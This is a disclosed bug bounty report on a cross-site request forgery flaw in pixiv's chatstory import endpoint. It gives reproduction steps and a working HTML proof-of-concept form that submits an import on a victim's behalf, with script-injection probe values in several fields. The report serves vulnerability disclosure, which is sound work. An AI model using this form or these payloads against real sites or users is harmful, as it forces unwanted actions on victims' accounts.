pixiv · Report #534908
CSRF at https://chatstory.pixiv.net/imported
Validstatus
mediumseverity
$500bounty
31upvotes
2 Jul 2020disclosed
How it was found
Summary:
A CSRF in https://chatstory.pixiv.net/imported can trick users to import a novel of the attacker as the users' chatstory.
Steps To Reproduce:
- Attacker creates a novel
- Go to the novel (https://www.pixiv.net/novel/show.php?id=10997105) Import the novel as chatstory by clicking the "チャットストーリーを作る" on the sidebar. You show notice that the actual request to create a chatstory is a POST request to
https://chatstory.pixiv.net/importedwith body
id=<novel_id>&text=<something>&comment=<something>&title=<something>&user_id=<attacker_id>&x_restrict=0&is_original=true
- Use the above information to create a http post form. The <attacker_id> doesn't matter.
Supporting Material/References:
Please see the following "living" PoC:
`<html>
<body> <script>history.pushState('', '', '/')</script> <form action="https://chatstory.pixiv.net/imported" method="POST"> <input type="hidden" name="id" value="10997105" /> <input type="hidden" name="text" value="test<script>alert(1)</script> Title Normal Jump " /> <input type="hidden" name="comment" value="test&lt;script&gt;alert(1)&lt;/script&gt;" /> <input type="hidden" name="tags" value="#test" /> <input type="hidden" name="title" value="test<script>alert(1)</script>" /> <input type="hidden" name="user_id" value="39570048" /> <input type="hidden" name="x_restrict" value="0" /> <input type="hidden" name="is_original" value="true" /> <input type="submit" value="Submit request" /> </form> </body> </html> `Impact
Trick users to import novel of attacker as a chatstory